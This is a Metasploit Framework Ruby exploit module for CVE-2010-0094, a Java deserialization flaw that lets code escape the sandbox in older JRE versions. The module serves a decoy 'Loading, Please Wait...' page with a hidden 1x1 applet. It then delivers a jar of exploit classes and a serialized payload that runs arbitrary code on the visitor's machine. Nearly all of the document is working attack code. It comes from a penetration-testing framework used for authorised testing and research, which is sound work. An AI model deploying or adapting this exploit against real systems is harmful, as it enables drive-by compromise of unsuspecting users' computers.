Java RMIConnectionImpl Deserialization Privilege Escalation Exploit



##

# $Id: java_rmi_connection_impl.rb 10490 2010-09-27 00:09:17Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    #
    # Superceded by java_trusted_chain
    #
    #include Msf::Exploit::Remote::BrowserAutopwn
    #autopwn_info({ :javascript => false })

    def initialize( info = {} )

        super( update_info( info,
            'Name'          => 'Java RMIConnectionImpl Deserialization Privilege Escalation Exploit',
            'Description'   => %q{
            This module exploits a vulnerability in the Java Runtime Environment
            that allows to deserialize a MarshalledObject containing a custom
            classloader under a privileged context. The vulnerability affects
            version 6 prior to update 19 and version 5 prior to update 23.
            },
            'License'       => MSF_LICENSE,
            'Author'        => [
                'Sami Koivu', # Discovery
                'Matthias Kaiser', # PoC
                'egypt' # metasploit module
            ],
            'Version'       => '$Revision: 10490 $',
            'References'    =>
            [
                [ 'CVE', '2010-0094' ],
                [ 'OSVDB', '63484' ],
                [ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-rmiconnectionimpl-deserialization.html' ],
            ],
            'Platform'      => [ 'java' ],
            'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
            'Targets'       =>
                [
                    [ 'Generic (Java Payload)',
                        {
                            'Arch' => ARCH_JAVA,
                        }
                    ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Mar 31 2010'
            ))
    end


    def on_request_uri( cli, request )
        if not request.uri.match(/\.jar$/i)
            if not request.uri.match(/\/$/)
                send_redirect(cli, get_resource() + '/', '')
                return
            end

            print_status("Handling request from #{cli.peerhost}:#{cli.peerport}...")

            send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
            return
        end

        paths = [
            [ "Exploit.class" ],
            [ "Exploit$1.class" ],
            [ "Exploit$1$1.class" ],
            [ "Exploit$2.class" ],
            [ "Payloader.class" ],
            [ "PayloadClassLoader.class" ],
            [ "payload.ser" ],
        ]

        p = regenerate_payload(cli)
        jar = p.encoded_jar
        paths.each do |path|
            1.upto(path.length - 1) do |idx|
                full = path[0,idx].join("/") + "/"
                if !(jar.entries.map{|e|e.name}.include?(full))
                    jar.add_file(full, '')
                end
            end
            fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-0094", path ), "rb")
            data = fd.read(fd.stat.size)
            jar.add_file(path.join("/"), data)
            fd.close
        end

        print_status("#{self.name} Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}...")
        send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })

        handler(cli)
    end

    def generate_html
        html  = "<html><head><title>Loading, Please Wait...</title></head>"
        html += "<body><center><p>Loading, Please Wait...</p></center>"
        html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
        html += "</applet></body></html>"
        return html
    end

end